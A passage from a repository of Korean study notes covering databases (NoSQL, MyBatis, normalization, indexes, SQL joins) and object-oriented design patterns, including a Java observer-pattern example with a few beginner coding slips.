52 | "product_id_002": "{\"product_name\":\"Samsung Galaxy S22 Ultra 5G\",\"category\":\"Smartphones\",\"price\":1299.99,\"colors\":[\"Phantom Black\",\"Phantom Silver\",\"Phantom Titanium\"],\"specs\":{\"display\":\"6.8 inches, Dynamic AMOLED 2X, 120Hz, HDR10+, Gorilla Glass Victus\",\"processor\":\"Exynos 2200, 5-nanometer process\",\"camera\":\"108 MP, f/1.8, 24mm (wide), 10 MP, f/4.9, 240mm (periscope telephoto), 10 MP, f/2.2, 16mm (ultrawide), 2 MP, f/2.4, (macro)\",\"battery\":\"Li-Po 5000 mAh, non-removable\"}}",
53 | "product_id_003": "{\"product_name\":\"Sony WH-1000XM4\",\"category\":\"Headphones\",\"price\":349.99,\"colors\":[\"Black\",\"Silver\"],\"specs\":{\"type\":\"Over-Ear Wireless Headphones\",\"noise_cancellation\":\"Yes, HD Noise Cancelling Processor QN1, Dual Noise Sensor Technology\",\"battery\":\"30 Hours Battery Life\"}}"
54 | }
55 | ```
56 |
57 | 3. DynamoDB
58 | - 키-값 데이터 모델을 사용하는 NoSQL 데이터베이스
59 | - AWS에서 제공하는 서비스
60 | - 높은 확장성과 가용성, 빠른 성능을 제공
61 | ```json
62 | {
63 | "id": "user1234",
64 | "name": "John Smith",
65 | "email": "john.smith@example.com",
66 | "join_date": "2022-04-18"
67 | }
68 | ```
69 |
70 | ## Spring에서 MongoDB를 사용하는 예시 코드
71 | ```java
72 | // MongoDB Java Driver를 사용하여 MongoDB 데이터베이스에 접속하는 예시 코드
73 | public class MongoDBExample {
74 |
75 | public static void main(String[] args) {
76 | // MongoDB 서버에 접속
77 | MongoClient mongoClient = new MongoClient("localhost", 27017);
78 |
79 | // 데이터베이스 선택
80 | MongoDatabase database = mongoClient.getDatabase("test");
81 |
82 | // 데이터베이스에 컬렉션 생성
83 | database.createCollection("users");
84 | }
85 | }
86 | ```
87 | ```java
88 | // Spring Data MongoDB를 사용하여 MongoDB 데이터베이스에 데이터를 저장하는 예시 코드
89 | @Component
90 | public class MongoDBExample {
91 |
92 | @Autowired
93 | private MongoTemplate mongoTemplate;
94 |
95 | public void saveUser(User user) {
96 | // MongoDB에 User 객체 저장
97 | mongoTemplate.save(user);
98 | }
99 | }
100 | ```
--------------------------------------------------------------------------------
/데이터베이스/mybatis.md:
--------------------------------------------------------------------------------
1 | # Mybatis
2 | - 마이바티스는 개발자가 지정한 SQL 등 몇가지 고급 매핑을 지원하는 프레임워크
3 | - JDBC로 처리하는 상당부분의 코드와 파라미터 설정및 결과 매핑을 대신해줌
4 | - 데이터베이스 레코드에 원시타입과 Map 인터페이스를 설정해서 매핑하기 위해 XML과 애노테이션을 사용할 수 있음
5 |
6 | ## 특징
7 | - 쉬운 접근성과 코드 간결성
8 | - SQL문과 프로그래밍 코드의 분리
9 | - 다양한 프로그래밍 언어로 구현 가능
10 |
11 | ## 사용
12 | ```xml
13 |
18 | ```
19 | - attributes
20 | - **id** : 이 sql 구문을 구분하기 위한 unique한 식별자
21 | - **parameterType** : 구문에 전달된 파라미터 패키지 경로를 포함한 전체 클래스명이나 별칭
22 | - **resultType** : 이 구문에 의해 리턴되는 클래스명이나 별칭
23 | - **resultMap** : 외부 resultMap의 참조명. resultMap은 마이바티스의 가장 강력한 기능.
24 |
25 | - TypeAlias
26 | ```xml
27 |
28 |
29 |
30 |
31 |
36 | ```
37 |
38 | - 결과 매핑
39 | ```xml
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 | ```
48 |
49 | ## 주의사항!!
50 | - DMBS 종류별로 문법의 차이가 존재하니 개발하는 DBMS 종류에 맞는 문법을 확인하고 적용할 것!
51 | - 문자열 비교시 test 문 안에 single/double quatation 구분하여 사용할 것!
52 | ```xml
53 |
54 |
55 |
56 |
57 |
58 |
59 | ```
60 | - resultMap, resultType으로 사용자 지정 DTO 생성할 경우, 자동으로 mapping해주게 되는데, 사용자가 DTO.java에 사용자지정 생성자를 선언해줬을경우, 반드시 기본 생성자도 생성해주어야 mapping 가능함!
61 |
62 |
63 |
64 | ## 참고문헌
65 | - https://mybatis.org/mybatis-3/ko/index.html
--------------------------------------------------------------------------------
/데이터베이스/반정규화.md:
--------------------------------------------------------------------------------
1 | # 반정규화 (De-Normalization)
2 |
3 | ## 정규화
4 | + 테이블 간에 중복 데이터를 최소화 하는 것
5 | + 정규화되면 테이블이 분해되고 이는 데이터 조회(select)시에 조인(join)을 유발하기 때문에 CPU와 메모리를 많이 사용함
6 |
7 | > 알고리즘으로 치면 중첩된 for문을 사용하는 것
8 |
9 |
10 |
11 | ***
12 |
13 | ## 반정규화
14 | + (정규화된)데이터 베이스 시스템의 성능 향상을 위해 데이터의 중복을 허용하여 조인을 최소화하고 성능을 향상시키는 것
15 | + 데이터의 중복성과 불일치를 초래하여 데이터 무결성 문제를 야기할 수 있다.
16 |
17 |
18 |
19 | ## 1. 반정규화의 적용 경우
20 | 1. 다른 테이블과 조인하는 것이 복잡하고 시간이 많이 걸리는 경우
21 | + 데이터서버가 분리된 분산데이터베이스 등
22 | 2. 많은 범위의 데이터를 자주 처리해야 하는 경우
23 | 3. 특정 범위의 데이터만 자주 처리하는 경우
24 | 4. 요약/집계 정보가 자주 요구되는 경우
25 |
26 |
27 |
28 | ## 2. 반정규화의 적용 방법
29 |
30 | ### 2-1. 테이블 반정규화
31 |
32 | 1. 테이블 병합
33 | + 1:1 관계 테이블 병합
34 | + 1:N 관계 테이블 병합
35 | + 슈퍼/서브타입 테이블 병합
36 |
37 | > 테이블 통합
38 | > 검색은 간편하지만 레코드 증가로 인해 처리량 증가 가능성 있음
39 | > 입력, 수정, 삭제 규칙이 복잡해질 수 있고 제약조건 설계가 어려움
40 |
41 | 2. 테이블 분할
42 | + 수직 분할 : 칼럼단위 테이블을 분산처리 하기 위해 테이블을 1:1로 분리하여 성능 향상
43 | + 수평 분할 : 로우단위로 집중 발생되는 트랜잭션을 분석하여 데이터 접근의 효율성을 높이기 위해 테이블 분할
44 |
45 | > 테이블 분할
46 | > 기본키의 유일성 관리가 어려워짐
47 |
48 | 3. 테이블 추가
49 | + 중복 테이블 추가 : 다른 업무, 다른 서버인 경우 동일한 테이블 구조를 중복하여 원격 조인 제거
50 | + 통계 테이블 추가 : SUM, AVG 등을 미리 수행하여 계산해둠
51 | + 부분 테이블 추가 : 하나의 테이블의 전체 칼럼 중 자주 이용하는 칼럼들을 모아놓은 테이블 추가
52 | + 이력 테이블 추가 : 이력 테이블 중 마스터 테이블에 존재하는 레코드를 중복시킴
53 |
54 | \* 슈퍼-서브 타입 : 상속 관계라고 보면 됨
55 |
56 |
57 |
58 | ### 2-2. 칼럼 반정규화
59 |
60 | 1. 중복 칼럼 추가 : 조인을 감소시키기 위해 중복된 칼럼 추가
61 | 2. 파생 칼럼 추가 : 트랜잭션 처리 시점에 계산에 의해 발생되는 성능 저하를 예방하기 위해 값을 미리 계산해 칼럼에 보관함(Derived Column)
62 | 3. PK에 의한 칼럼 추가
63 | 4. 이력 테이블 칼럼 추가
64 | 5. 응용 시스템 오작동을 위한 칼럼 추가
65 |
66 |
67 |
68 | ### 2-3. 관계 반정규화
69 |
70 | 1. 중복관계 추가 : 여러 경로를 거쳐 조인이 가능하지만 이 때 발생하는 성능저하를 예방하기 위해 추가적인 관계를 맺는 방법
--------------------------------------------------------------------------------
/데이터베이스/인덱스.md:
--------------------------------------------------------------------------------
1 | # Index
2 |
3 | ## 인덱스
4 | - 테이블의 데이터 검색 속도를 향상시키기 위해 사용하는 자료구조
5 | - ex) 도서실에서 책을 쉽게 찾을 수 있는 강목표
6 |
7 |
8 | ## 페이지
9 | - 데이터베이스의 데이터를 구성하는 단위 요소
10 | - MySQL 기본값은 16KB이고, 환경마다 다를 수 있음
11 | - SELECT 이외의 DML이 수행되면 페이지 분할이 발생할 수 있어 성능이 크게 저하될 수 있음
12 |
13 | ## 인덱스의 구조
14 |
15 |
16 | - 페이지간의 용량 차이가 크면 인덱싱 성능이 떨어질 수 있으므로 DBMS는 골고루 데이터가 존재하도록 유지
17 | - B-Tree (Balanced Tree) -> 여러 자식이 존재할 수 있음 (Binary Tree 아님)
18 | - 거의 모든 DataBase는 기본적으로 B-Tree 구조로 인덱스를 구성한다.
19 |
20 | ## 클러스터링 인덱스
21 |
22 |
23 | - 고유 값을 이용해 데이터를 정렬하고, 이 값과 페이지의 첫 주소를 매핑하여 검색이 빨라짐
24 | - PK인 열이거나 Unique&NotNull인 열이면 클러스터링 인덱스가 생성되고, 별도로 CREATE INDEX ON CLUSTER라는 DDL을 이용해 생성할 수 있음
25 |
26 | ## 비클러스터링 인덱스
27 | - 클러스터링 인덱스는 데이터를 정렬해야하기 때문에 하나의 필드밖에 지정하지 못함 -> PK말고 다른 열로도 인덱스를 만들고 싶다면?
28 | - 정렬하고 싶은 열로 정렬한 뒤 찾는 데이터가 어느 주소에 있는지 매핑
29 | - 데이터를 직접 정렬할 수 없으므로 데이터와 별개로 존재하는 인덱싱 페이지를 만들어 정렬
30 | - Unique인 열이면 비클러스터링 인덱스가 생성되고, 별도로 CREATE INDEX라는 DDL을 이용해 생성할 수 있음
31 |
32 |
33 |
34 | ## 인덱스는 언제 사용해야 하는가?
35 | - 쓰지도 않는 인덱스를 생성하면 성능이나 용량에서 불이익이 생김
36 | - 따라서 자주 조인되거나 조건절에 들어오는 열에만 생성하는 것이 좋음
37 | - 또한 해당 열의 카디널리티(해당 열에 등장할 수 있는 데이터 가짓수)가 적으면 인덱싱 성능이 떨어지므로 피하는 것이 좋음
38 | - 잦은 수정이 일어나는 데이터는 페이지 분할이 발생할 확률이 높으므로 인덱스를 생성하지 않는 것이 좋음
--------------------------------------------------------------------------------
/데이터베이스/정규화.md:
--------------------------------------------------------------------------------
1 | # 정규화
2 | ## 정규화
3 | - 테이블간에 중복된 데이터를 허용하지 않는 것
4 | - 무결성을 유지할 수 있으며, DB의 저장용량 역시 줄일 수 있다.
5 | - 다만, 하나의 테이블 만으로 정보를 알 수 없게 되므로, SQL문이 다소 복잡해지는 단점이 있음
6 |
7 | ## 제1 정규화 / 제1 정규형
8 | - 테이블의 컬럼이 원자값(하나의 값)을 갖도록 테이블을 분해하는 것
9 | 
10 |
11 | ## 제2 정규화 / 제2 정규형
12 | - 제1 정규화를 진행한 테이블에 대해 완전함수 종속을 만족하도록 테이블을 분해하는 것
13 | - 완전 함수 종속이란, 기본키의 부분집합이 결정자가 되어선 안된다는 뜻이다
14 | - 따라서, 단일키를 사용하는 경우엔 별도의 과정이 필요 없음
15 | 
16 |
17 | ## 제3 정규화 / 제3 정규형
18 | - 제2 정규화를 진행한 테이블에 대해 이행적 종속을 없애도록 테이블을 분해하는 것
19 | - 이행적 종속이란, A->B, B->C가 성립할 때, A->C가 성립하는 것을 뜻한다.
20 | 
21 |
22 | ## BCNF 정규화
23 | - 제3 정규화까지 진행한 테이블에 대해 모든 결정자가 후보키가 되도록 테이블을 분해하는 것
24 | - 후보키는 각 행을 유일하게 식별할 수 있는 최소한의 속성들의 집합을 말한다.(기본키의 후보라는 의미)
25 | 
26 | ===============================
27 | ### 참고 문헌
28 | - https://mangkyu.tistory.com/110
--------------------------------------------------------------------------------
/데이터베이스/조인.md:
--------------------------------------------------------------------------------
1 | # 조인
2 |
3 | 
4 |
5 | - 데이터베이스 내의 두 개 이상의 테이블에서 가져온 레코드를 조합하여 하나의 테이블로 표현
6 |
7 |
8 |
9 | ## 1-1. INNER JOIN(내부 조인)
10 |
11 | - 조인 중 가장 많이 사용하고, 그냥 조인이라고 하면 내부 조인을 의미함.
12 | - 기준 테이블과 조인 테이블 모두에 데이터가 있어야 조회됨
13 | - 조인에 부합하지 않는 레코드는 출력하지 않음
14 |
15 | ```SQL
16 | SELECT A.name, A.district, A.population
17 | FROM city AS A
18 | INNER JOIN country AS B
19 | ON A.CountryCode = B.Code
20 | WHERE B.name LIKE '%korea%';
21 | ```
22 |
23 | 
24 |
25 | - 단순히 FROM 절에 콤마를 쓰면 INNER JOIN으로 취급되며, 아래 쿼리문은 위 쿼리문과 같은 결과를 출력한다.
26 |
27 | ```SQL
28 | SELECT A.name, A.district, A.population
29 | FROM city A, country B
30 | WHERE A.CountryCode = B.Code
31 | AND B.name LIKE '%korea%';
32 | ```
33 |
34 |
35 |
36 | ## 1-2. OUTER JOIN(외부 조인)
37 |
38 | - 내부 조인과 다르게 한쪽에만 데이터가 있어도 결과를 출력한다.
39 | - LEFT JOIN은 왼쪽 테이블의 모든 값이 출력되고, 오른쪽 테이블에서 참조할 수 없는 기준 값은 NULL로 표기
40 | - RIGHT JOIN은 오른쪽 테이블의 모든 값이 출력됨
41 | - FULL JOIN은 왼쪽 또는 오른쪽 테이블의 모든 값이 출력됨, 상호 참조 안되는 값은 NULL로 표기
42 |
43 | ```SQL
44 | SELECT CTRY.Name, CTRY.Capital, CT.Name
45 | FROM country CTRY LEFT JOIN city CT
46 | ON CTRY.Capital = CT.Id
47 | WHERE CTRY.Name LIKE '%island%';
48 | ```
49 |
50 |
51 |
52 | 
53 |
54 | ```SQL
55 | SELECT CTRY.Name, CTRY.Capital, CT.Name
56 | FROM country CTRY LEFT JOIN city CT
57 | ON CTRY.Capital = CT.Id
58 | WHERE CTRY.Name LIKE '%island%'
59 | AND CTRY.Capital IS NOT NULL;
60 | ```
61 |
62 | 
63 |
64 |
65 |
66 | ## 1-3 CROSS JOIN(상호 조인)
67 |
68 | - 한쪽 테이블의 모든 행과 다른쪽 테이블의 모든 행을 조인함.
69 | - 상호 조인의 결과의 전체 행 개수는 두 테이블의 각 행 개수를 곱한 수가 됨
70 | - 카티션 곱(CARTESIAN PRODUCT)라고도 함.
71 |
72 | ```SQL
73 | SELECT COUNT(*)
74 | FROM country
75 | CROSS JOIN countrylanguage;
76 | -- country 239행, countrylanguage 984행
77 | ```
78 |
79 | 
80 |
81 | - 상호 조인은 교차 곱을 하기 때문에 ON을 사용할 수 없다.
82 | - 테스트로 사용할 많은 용량의 데이터를 만드는데 주로 사용한다고 한다.
83 |
84 | ## 1-4. SELF JOIN(자체 조인)
85 |
86 | - 자기 자신과 조인하는 경우, 1개의 테이블을 사용함.
87 | - 별도의 문법이 있는 것은 아니고 1개로 내부 조인을 하면 됨
88 |
--------------------------------------------------------------------------------
/디자인패턴/디자인패턴.md:
--------------------------------------------------------------------------------
1 | # 디자인 패턴
2 | ## 디자인 패턴이란?
3 | - 소프트웨어를 개발할 때 대부분은 기존에 만들었던 디자인을 재사용하게 됨
4 | - 이 때 4명의 유명 개발자들은 23가지 소프트웨어 디자인 방법을 정리하여 이를 재사용하면 좋을 것 같다는 생각을 함
5 | - 이렇게 탄생한 것이 흔히 디자인 패턴이라고 줄여부르는 GOF(GangOfFour) Design Pattern
6 | - 효율적인 코드를 만들기 위한 방법론으로써, 반드시 지켜야한다고 생각하기 보단 자연스럽게 코드에 녹아들도록 하는 것이 좋음
7 |
8 | ## GOF 디자인 패턴의 종류
9 | ### 생성 패턴(Creational Patterns): 객체 생성에 관련된 패턴 5가지
10 | 1. 싱글턴(Singleton): 유일한 하나의 인스턴스를 보장하도록 하는 패턴
11 | 2. 팩토리 메서드(Factory Methods): 객체 생성 로직을 한 곳으로 모아놓고 선택하게 하는 패턴
12 | 3. 추상 팩토리 메서드(Abstract Factory): 서로 관련이 있는 객체들을 묶어서 팩토리 클래스로 만들고 이를 선택하게 하는 패턴
13 | 4. 빌더(Builder): 필수 값에 대해서는 생성자를, 선택적인 값들에 대해서는 메서드를 통해 인스턴스를 초기화하는 패턴
14 | 5. 프로토타입(Prototype): 프로토타입 패턴은 new 키워드를 사용하지 않고 객체를 복제해 생성하는 패턴
15 |
16 | ### 구조 패턴(Structural Pattern): 클래스나 객체를 조합해 더 큰 구조를 만드는 패턴 7가지
17 | 1. 어댑터(Adapter): 한 인터페이스를 사용자가 원하는 인터페이스로 변환하는 패턴
18 | 2. 브리지(Bridge): 추상과 구현을 분리하여 결합도를 낮춘 패턴
19 | 3. 컴퍼지트(Composite): 개별 객체와 복합 객체를 클라이언트에서 동일하게 사용하도록 하는 패턴
20 | 4. 데코레이터(Decorator): 소스를 변경하지 않고 기능을 확장하도록 하는 패턴
21 | 5. 퍼사드(Facade): 어떤 서브시스템 일련의 인터페이스에 대한 통합된 인터페이스를 제공하는 패턴
22 | 6. 플라이웨이트(Flyweight): 인스턴스를 가능한 한 공유하여 사용하는 패턴
23 | 7. 프록시(Proxy): 대리인이 대신 그 일을 처리하는 패턴
24 |
25 | ### 행위 패턴(Behavioral Pattern): 객체나 클래스 사이의 알고리즘이나 책임 분배에 관련된 패턴 11가지
26 | 1. 책임 연쇄(ChainofResponsibility): 요청을 받은 객체가 해당 요청을 해결할 수 없을 경우 연결된 다음 객체들에 전달하는 패턴
27 | 2. 커맨드(Command): 요청 자체를 캡슐화하여 파라미터로 넘기는 패턴
28 | 3. 인터프리터(Interpreter): 간단한 언어의 문법을 정의하고 해석하여 사용하는 패턴
29 | 4. 이터레이터(Iterator): 내부 표현은 보여주지 않고 순회하는 패턴
30 | 5. 중재자(Mediator): 객체 간 상호작용을 캡슐화하고 위임하여 처리하는 패턴
31 | 6. 메멘토(Memento): 상태 값을 미리 저장해 두었다가 복구하는 패턴
32 | 7. 옵저버(Observer): 상태가 변할 때 의존자들에게 알리고, 자동 업데이트하는 패턴
33 | 8. 스테이트(State): 객체 내부 상태에 따라서 행위를 변경하는 패턴
34 | 9. 전략(Strategy): 다양한 알고리즘 캡슐화하여 알고리즘 대체가 가능하도록 한 패턴
35 | 10. 템플릿 메서드(Template Methods): 알고리즘 골격의 구조를 정의한 패턴
36 | 11. 비지터(Visitor): 방문 공간이 방문자를 맞이할 때, 이후에 대한 행동을 방문자에게 위임하는 패턴
37 |
38 | ## 객체 지향 설계의 5대 원칙 SOLID
39 | ### 단일 책임 원칙(Single Responsibility Principle)
40 | - 객체는 단 하나의 책임만 가져야 한다
41 | - 계산기에 알람 기능 넣지 말아라
42 |
43 | ### 개방 폐쇄 원칙(Open-Close Principle)
44 | - 확장에는 개방적이고 수정에는 폐쇄적이어야 한다
45 | - 인터페이스 써서 추상화해라
46 |
47 | ### 리스코프 치환 원칙(Liskov Substitution Principle)
48 | - 부모클래스와 자식클래스의 행위가 일관되어야 한다
49 | - moveForward() override해서 후진기능 만들지 말아라
50 |
51 | ### 인터페이스 분리 원칙(Interface Segregation Principle)
52 | - 하나의 거대한 인터페이스보다 여러 개의 구체적인 인터페이스가 낫다
53 | - Phone 인터페이스에 call(), message(), alarm(), calculator() 다 때려 넣지 말고 각 기능을 처리하는 인터페이스 만들어서 상속해라
54 |
55 | ### 의존 관계 역전 원칙(Dependency Inversion Principle)
56 | - 추상성이 높은 클래스에 의존해야 한다
57 | - 다른 객체 가져다 쓸 때 왠만하면 인터페이스로 사용해라
--------------------------------------------------------------------------------
/디자인패턴/옵저버 패턴.md:
--------------------------------------------------------------------------------
1 | # 옵저버 패턴(Observer Pattern)
2 |
3 | ## 개요
4 |
5 | - 객체의 상태 변화를 관찰하는 옵저버들의 목록을 객체에 등록
6 | - 상태 변화가 있을 때마다 notify를 통해 객체가 직접 목록의 각 옵저버에게 통지하도록 하는 디자인 패턴
7 | - 1:N 관계로 정의됨
8 | - MVC 패러다임과 자주 결합된다
9 | - 모델과 뷰 사이를 느슨히 연결하기 위해 사용할 수 있다
10 | - 모델을 Subject에, 뷰를 Observer로 설정
11 |
12 | ## 장점과 단점
13 |
14 | ### 장점
15 |
16 | - 느슨한 결합 덕분에 유연한 객체 지향 시스템이 구축되어 상호의존성이 최소화된다
17 | - 느슨한 결합이란, 두 객체가 상호작용 하지만, 서로에 대해 잘 모른다는 것
18 | - Open / Close 원칙(개방 폐쇄 원칙)을 지킬 수 있다
19 | - 기존의 코드를 변경하지 않으면서, 기능을 추가할 수 있도록 설계가 되어야 한다.
20 |
21 | ### 단점
22 |
23 | - Observer에게 알림이 가는 순서를 보장하지는 않음
24 | - Subject와 Observer의 관계가 잘 정의되지 않으면 원하지 않는 동작이 발생할 수 있음
25 |
26 | ## 구현 예시
27 |
28 | Subject 인터페이스와 구현체
29 |
30 | ```java
31 | interface Subject {
32 | public void registerObserver() // 옵저버 등록
33 | public void removeObserver() // 옵저버 삭제
34 | public void notifyObserver() // 옵저버에게 업데이트 알림
35 | }
36 |
37 | class Youtuber implements Subject {
38 | // 구독자들
39 | private List subscribers = new ArrayList<>();
40 |
41 | public void uploadVideo(String video){
42 | notifyObserver(video);
43 | }
44 |
45 | @Override
46 | public void registerObserver(Observer subscriber){
47 | subscribers.add(Observer);
48 | }
49 | @Override
50 | public void removeObserver(Observer subscriber){
51 | subscribers.remove(Observer);
52 | }
53 | @Override
54 | public void notifyObserver(String msg){
55 | for(Observer subs: subscriber){
56 | subs.getNotification(msg);
57 | }
58 | }
59 | }
60 | ```
61 |
62 | Observer 인터페이스와 그 구현체들
63 |
64 | ```java
65 | interface Observer {
66 | public void getNotification(String msg) // 관찰 대상에게서 알림을 받는 메서드
67 | }
68 |
69 | class Subscriber implements Observer {
70 | @Override
71 | public void getNotification(String msg){
72 | System.out.println("당신이 구독중인 유투버가 새 영상을 올렸습니다: " + msg);
73 | }
74 | }
75 |
76 | class PaidSubscriber implements Observer {
77 | @Override
78 | public void getNotification(String msg){
79 | System.out.println("당신이 유료구독중인 유투버가 새 영상을 올렸습니다: " + msg);
80 | }
81 | }
82 | ```
83 |
84 | Main에서의 사용 예시
85 |
86 | ```java
87 | class Main {
88 | public static void main(String[] args) {
89 | Youtuber PatientMan = new Youtuber();
90 | Subscriber alice = new Subscriber();
91 | Subscriber ben = new Subscriber();
92 | Subscriber charlie = new Subscriber();
93 |
94 | PatientMan.registerObserver(alice);
95 | PatientMan.registerObserver(ben);
96 | PatientMan.registerObserver(charlie);
97 | PatientMan.uploadVideo("안될 과학");
98 | }
99 | }
100 | ```
101 |
102 | ## Java의 옵저버
103 |
104 | - 자바에선 기본적으로 옵저버를 지원한다
105 | - Subject에 해당하는 class는 java.util.Observable을 상속(extends)받는다
106 | - addObserver(): Observer 목록에 추가한다
107 | - deleteObserver(): Observer 목록에서 제거한다
108 | - notifyObserver()/(Object obj): Observer 목록에 객체의 상태변화를 알린다.
109 | - Observer에 해당하는 클래스는 java.util.Observer를 구현(implements)한다.
110 | - 여러 단점이 존재하여 Java 9부터 Deprecated 되었다
111 | - Observable이 클래스로 정의되어 다른 클래스를 이미 상속받았다면 사용할 수 없다
112 | - Observable의 핵심 메서드인 setChanged()가 protected로 정의되어 있다.
113 | - 무언가 바뀌었다는 사실은 전달하지만, 어떤게 바뀌었는지는 전달하지 않아서 쓰임새가 제한되어 있다.
114 |
--------------------------------------------------------------------------------
/디자인패턴/전략 패턴.md:
--------------------------------------------------------------------------------
1 | # 전략 패턴(Strategy Pattern)
2 |
3 | - 디자인 패턴 중 행동 패턴에 해당
4 | - 객체들이 할 수 있는 행위들을 클래스로 캡슐화하여 동적으로 행위를 자유롭게 바꿀 수 있게 해주는 패턴
5 | - 즉, 전략을 쉽게 바꿀 수 있도록 하는 패턴이며, 여기서 전략은 대개 알고리즘을 의미
6 |
7 |
8 |
9 |